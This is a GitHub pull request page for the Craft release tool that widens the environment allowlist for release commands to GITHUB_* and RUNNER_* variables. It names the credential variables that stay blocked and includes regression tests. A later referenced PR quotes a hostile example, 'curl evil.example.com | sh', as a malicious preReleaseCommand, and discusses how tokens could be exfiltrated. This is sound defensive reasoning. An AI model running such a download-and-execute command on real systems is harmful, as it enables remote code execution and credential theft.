Skip to content

security(release-env): allowlist GITHUB_* and RUNNER_* by prefix#807

Merged
BYK merged 2 commits intomasterfrom
security/allowlist-github-runner-env
Apr 22, 2026
Merged

security(release-env): allowlist GITHUB_* and RUNNER_* by prefix#807
BYK merged 2 commits intomasterfrom
security/allowlist-github-runner-env

Conversation

@BYK
Copy link
Copy Markdown
Member

@BYK BYK commented Apr 22, 2026

Summary

Fixes the regression reported in getsentry/sentry-cocoa run #24797916943: ./scripts/update-package-sha.sh: line 4: GITHUB_RUN_ID: unbound variable.

PR #794 (shipped in Craft 2.25.5) locked pre/postReleaseCommand down to an explicit allowlist (PATH, GITHUB_TOKEN, HOME, USER, GIT_COMMITTER_NAME, GIT_AUTHOR_NAME, EMAIL, plus per-command CRAFT_* extras). That shape was deliberately minimal but overshot: GitHub Actions injects ~40 GITHUB_* context vars into every step (GITHUB_REPOSITORY, GITHUB_SHA, GITHUB_RUN_ID, GITHUB_ACTOR, GITHUB_WORKFLOW, GITHUB_API_URL, GITHUB_SERVER_URL, …) and release scripts commonly read them. sentry-cocoa's bump script stamps $GITHUB_RUN_ID into a file for a follow-up step to consume, so cutting off the whole namespace made it fail hard.

Fix

Extend buildReleaseCommandEnv to also forward any process.env key that starts with GITHUB_ or RUNNER_. RUNNER_* (RUNNER_OS / RUNNER_ARCH / RUNNER_TEMP / …) is the same class of non-secret runner metadata.

Why this is safe — and the trade-off

Credential env vars Craft uses that are named with unrelated prefixes remain blocked:

  • NPM_TOKEN, CRATES_IO_TOKEN, HEX_API_KEY, POWERSHELL_API_KEY, NUGET_API_TOKEN, PUBDEV_ACCESS_TOKEN, PUBDEV_REFRESH_TOKEN
  • DOCKER_PASSWORD, DOCKER_GHCR_IO_PASSWORD, DOCKER_USERNAME
  • AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID
  • TWINE_PASSWORD, TWINE_USERNAME
  • GEM_HOST_API_KEY, COCOAPODS_TRUNK_TOKEN
  • GPG_PRIVATE_KEY, GPG_PASSPHRASE, OSSRH_USERNAME, OSSRH_PASSWORD
  • CRAFT_GCS_TARGET_CREDS_JSON, CRAFT_GCS_STORE_CREDS_JSON

Two credential env vars do live in the GITHUB_* namespace and are therefore now forwarded:

  1. GITHUB_TOKEN — already on the allowlist pre-security(release-env): allowlist GITHUB_* and RUNNER_* by prefix #807, no change in exposure.
  2. GITHUB_API_TOKEN — used by Craft as a ghcr.io / cross-repo fallback when GITHUB_TOKEN is absent (see src/targets/docker.ts:338, src/targets/commitOnGitRepository.ts:148, src/utils/githubApi.ts:78). This is newly forwarded by security(release-env): allowlist GITHUB_* and RUNNER_* by prefix #807. On getsentry/publish-style workflows it is not set (only GITHUB_TOKEN is), so no leak there. On consumer CI setups that explicitly export GITHUB_API_TOKEN, a malicious preReleaseCommand would now see it. This is the intentional trade-off: a malicious preReleaseCommand that already has shell execution can exfiltrate whichever token is set, and the alternative (splitting context from credentials via explicit lists instead of prefix) forces every consumer to proxy routine Actions metadata via CRAFT_* — which is the exact ergonomic regression this PR fixes.

Similarly, GITHUB_ENV / GITHUB_PATH / GITHUB_OUTPUT / GITHUB_STEP_SUMMARY point at runner files that subsequent workflow steps read. Forwarding them lets a compromised release command influence later steps. No new primitive: the attacker already has shell exec in the same docker mount as those files.

I cross-checked getsentry/publish/.github/workflows/publish.yml: the only GITHUB_*-named key its Docker step sets is GITHUB_TOKEN. Other secrets all use the unrelated prefixes listed above.

Tests

Both prepare.test.ts and publish.test.ts get a new regression test:

process.env.GITHUB_RUN_ID = '123456';
process.env.GITHUB_REPOSITORY = 'getsentry/sentry-cocoa';
process.env.RUNNER_OS = 'Linux';
process.env.NPM_TOKEN = 'npm_xxx_must_not_leak';
process.env.DOCKER_PASSWORD = 'dockerpw_must_not_leak';

await runPreReleaseCommand({ ... });

// GITHUB_* and RUNNER_* pass through.
expect(envArg.GITHUB_RUN_ID).toBe('123456');
expect(envArg.GITHUB_REPOSITORY).toBe('getsentry/sentry-cocoa');
expect(envArg.RUNNER_OS).toBe('Linux');

// Credential-named vars do not.
expect(envArg.NPM_TOKEN).toBeUndefined();
expect(envArg.DOCKER_PASSWORD).toBeUndefined();

Existing "does not forward arbitrary env vars from process.env" tests still guard the negative side (LD_PRELOAD, AWS_SECRET_ACCESS_KEY, random SECRET_TOKEN must not leak).

The expectedBaseEnv() helper in both test files is now dynamic so it stays correct when the tests run under GHA (where process.env contains a full GITHUB_* / RUNNER_* set).

996 tests pass; same 7 pre-existing env-only e2e failures as on master. Lint / build clean.

PR #794 landed a strict allowlist for env vars forwarded to
preReleaseCommand / postReleaseCommand: PATH, GITHUB_TOKEN, HOME,
USER, GIT_COMMITTER_NAME, GIT_AUTHOR_NAME, EMAIL, plus per-command
CRAFT_* extras. That was conservative by design, but it broke
consuming repos whose release scripts relied on GitHub Actions
context vars that the runner injects into every step
(GITHUB_REPOSITORY, GITHUB_SHA, GITHUB_RUN_ID, GITHUB_WORKFLOW,
GITHUB_API_URL, ...). See getsentry/sentry-cocoa's
./scripts/update-package-sha.sh failing with
'GITHUB_RUN_ID: unbound variable':
https://github.com/getsentry/sentry-cocoa/actions/runs/24797916943/job/72575447439

Extend the allowlist to forward every env var that starts with
GITHUB_ or RUNNER_. This covers the entire namespace of GitHub
Actions context metadata that release scripts commonly read, and
does NOT cover credential env vars — those use unrelated prefixes
by convention (NPM_TOKEN, CRATES_IO_TOKEN, DOCKER_PASSWORD,
GPG_PRIVATE_KEY, AWS_SECRET_ACCESS_KEY, TWINE_PASSWORD, ...).
Verified against the publish.yml env block: the only GITHUB_*-named
key it sets explicitly is GITHUB_TOKEN, which is a credential and
already in the allowlist.

Tests:
- Both prepare.test.ts and publish.test.ts gain a new regression
  test that sets GITHUB_RUN_ID, GITHUB_REPOSITORY, RUNNER_OS,
  NPM_TOKEN, and DOCKER_PASSWORD on process.env, runs the release
  command, and asserts the first three reach the child while the
  last two do not.
- Existing 'does not forward arbitrary env vars' tests still guard
  the negative side.
- expectedBaseEnv helper in both test files is now dynamic so it
  stays correct when run under GHA (where runtime process.env
  contains a full GITHUB_* / RUNNER_* set).
- src/utils/releaseCommandEnv.ts: expand the prefix-namespace JSDoc to
  explicitly call out GITHUB_API_TOKEN (a credential Craft reads as a
  ghcr.io / cross-repo fallback — see targets/docker.ts:338,
  targets/commitOnGitRepository.ts:148, utils/githubApi.ts:78) so the
  trade-off is visible to the next maintainer. Also note GITHUB_ENV /
  GITHUB_PATH / GITHUB_OUTPUT / GITHUB_STEP_SUMMARY are forwarded but
  grant no new primitive since the attacker already has shell exec in
  the same docker mount as those files.
- src/commands/prepare.ts: stale comment enumerating the old allowlist
  (PATH, GITHUB_TOKEN, HOME, ...) replaced with a pointer to
  releaseCommandEnv.ts so the comment can't drift.
- src/utils/releaseCommandEnv.ts: buildReleaseCommandEnv JSDoc now
  explains the semantic difference between exact-match keys (always
  present in returned object, possibly undefined) and prefix-match
  keys (only present when set). Both shapes behave identically under
  child_process.spawn; the note exists for callers using Object.keys.
@BYK BYK merged commit c5c5d7a into master Apr 22, 2026
18 checks passed
@BYK BYK deleted the security/allowlist-github-runner-env branch April 22, 2026 20:36
BYK added a commit that referenced this pull request Apr 23, 2026
CHANGELOG.md is auto-generated from PR descriptions by the release
tooling (see the #793, #807, #805 entries in CHANGELOG.md for
examples where release-note titles contain `_*` sequences that
prettier wants escaped to `\*`). Every time a release cuts new
entries matching those patterns the format-check starts failing on
every open PR against master until someone runs a manual fixup.

Exclude the file from prettier so the release tooling is the sole
authority on its contents.
BYK added a commit that referenced this pull request Apr 23, 2026
## Summary

Removes the `--allow-remote-config` / `CRAFT_ALLOW_REMOTE_CONFIG=1` gate
added in #794. The gate is broken in the canonical `getsentry/craft`
composite action (see below) and the marginal defence-in-depth it
provided does not justify the breakage.

**This reverts a security feature shipped in Craft 2.25.5**, so the
"why" below is deliberately explicit.

## The bug users are hitting

`action.yml:162-165` constructs:

```
CRAFT_ARGS=""
if [[ '${{ inputs.craft_config_from_merge_target }}' == 'true' && -n '${{ inputs.merge_target }}' ]]; then
  CRAFT_ARGS="--config-from ${{ inputs.merge_target }}"
fi
```

It passes `--config-from` but never passes `--allow-remote-config`.
Every consumer who set `craft_config_from_merge_target: true` after
Craft 2.25.5 has been hitting `ConfigurationError` with a message
telling them to pass a flag they cannot pass. The user complaint that
prompted this PR is one such case.

## Why total removal rather than a 1-line passthrough in action.yml

The most obvious alternative is to add `--allow-remote-config` to
`CRAFT_ARGS` in `action.yml` when `craft_config_from_merge_target:
true`. That was considered and rejected:

- If the flag is auto-passed whenever the input is set, the flag is
tautological: "opt in by setting `craft_config_from_merge_target: true`"
already **is** the opt-in ceremony. A second opt-in that the composite
action always supplies in lockstep is friction with no signal.
- The flag's only remaining value would be for direct CLI users (`craft
prepare --config-from …` without the action). Those invocations are rare
and the ceremony value is marginal; a `logger.warn` at the execution
site (kept in this PR) tells them what's happening without blocking.
- Keeping the flag alive as a "passthrough only" option creates an
ongoing maintenance cost: docs, tests, the yargs option itself,
composite-action plumbing. All for near-zero remaining defence-in-depth
value.

So the choice is: delete the flag, rely on the `logger.warn` reminder +
release-workflow-author discipline + the env allowlist (which limits but
does not eliminate what a malicious `preReleaseCommand` can exfiltrate).

## Honest threat-model discussion

The original gate (#794) rationale was: "remotely-fetched `.craft.yml`
is untrusted input that can execute arbitrary commands via
`preReleaseCommand`." That framing overstates what the gate actually
defends:

- **The branch passed to `--config-from` is, in every realistic caller I
have audited, chosen by the release workflow author on a protected
branch**. For `getsentry/craft` + `getsentry/publish` it's the
`merge_target` input sourced from `workflow_call` / `workflow_dispatch`
(not from PR-controllable state). PR contributors cannot influence it
without first landing changes on the protected branch. For third-party
consumers the trust boundary depends on their workflow shape — they are
responsible for not wiring PR-controllable input to `merge_target`.
- **The `.craft.yml` → `preReleaseCommand` → RCE vector exists
independently of `--config-from`**. Every `craft prepare` run reads
`.craft.yml` from `cwd`; if a PR modifies `cwd`'s `.craft.yml` and lands
on the release branch, the malicious command runs regardless of whether
`--config-from` is used.
- The `buildReleaseCommandEnv` allowlist (PR #794 / #807) **limits what
a malicious `preReleaseCommand` can exfiltrate** (by stripping most
secret env vars from the subprocess env); it does **not** prevent
arbitrary command execution itself. A `preReleaseCommand: "curl
evil.example.com | sh"` still runs, still has network, and still has
access to whatever is on the allowlist (including `GITHUB_TOKEN`). The
gate was never the thing standing between an attacker and RCE; it just
forced them to pick the local-file vector instead of the remote one.

Given both vectors carry identical risk and the remote one was gated but
not the local one, the gate added friction without closing the class of
risk it claimed to defend.

## Change

- Remove `--allow-remote-config` option from the yargs `builder` in
`src/commands/prepare.ts`.
- Remove `allowRemoteConfig` from `PrepareOptions`.
- Remove the exported `assertRemoteConfigAllowed` helper.
- Remove the callsite check in `prepareMain`. Kept a `logger.warn` at
the execution site reminding the operator that the remote
`preReleaseCommand` will be executed.
- Remove the 3 unit tests for the deleted helper and their now-unused
imports.
- Update the stale AGENTS.md lore entry (previously claimed the gate as
an active security posture) to describe the removal and warn future
maintainers not to resurrect it.

Backward-compat notes:
- Users currently setting `CRAFT_ALLOW_REMOTE_CONFIG=1` in their env:
the var is silently ignored after this PR (yargs's `.env('CRAFT')` only
binds env vars with matching options). No breakage.
- Users currently passing `--allow-remote-config` as a CLI flag: yargs's
`.strictCommands()` (not `.strict()`) ignores unknown options. No
breakage.

## Bundled: `ci: exclude CHANGELOG.md from prettier`

Separate commit in this PR. `CHANGELOG.md` is auto-generated from PR
descriptions by the release tooling; entries like `(release-env)
Allowlist GITHUB_* and RUNNER_* by prefix` contain markdown prettier
wants to re-escape (`_*` → `\*`) every time a release cuts. This has
been failing the format-check on every PR against master since the
2.26.0 release entry landed. Adding `CHANGELOG.md` to `.prettierignore`
lets the release tooling be the sole authority on its contents.

Technically orthogonal to the gate removal but bundled here because (a)
without it, this PR's CI fails on a pre-existing master problem, (b) the
fix is 6 lines of `.prettierignore`, (c) splitting would add
calendar-time blocking for both PRs. Mentioned explicitly so reviewers
aren't surprised by the scope.

## Tests

`pnpm test src/commands/__tests__/prepare.test.ts` → 8 tests pass (was
11; the 3 `assertRemoteConfigAllowed` tests are deleted along with the
helper).

Full suite: 993 pass; same 7 pre-existing e2e failures unrelated to this
change.

Lint / build / prettier clean.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant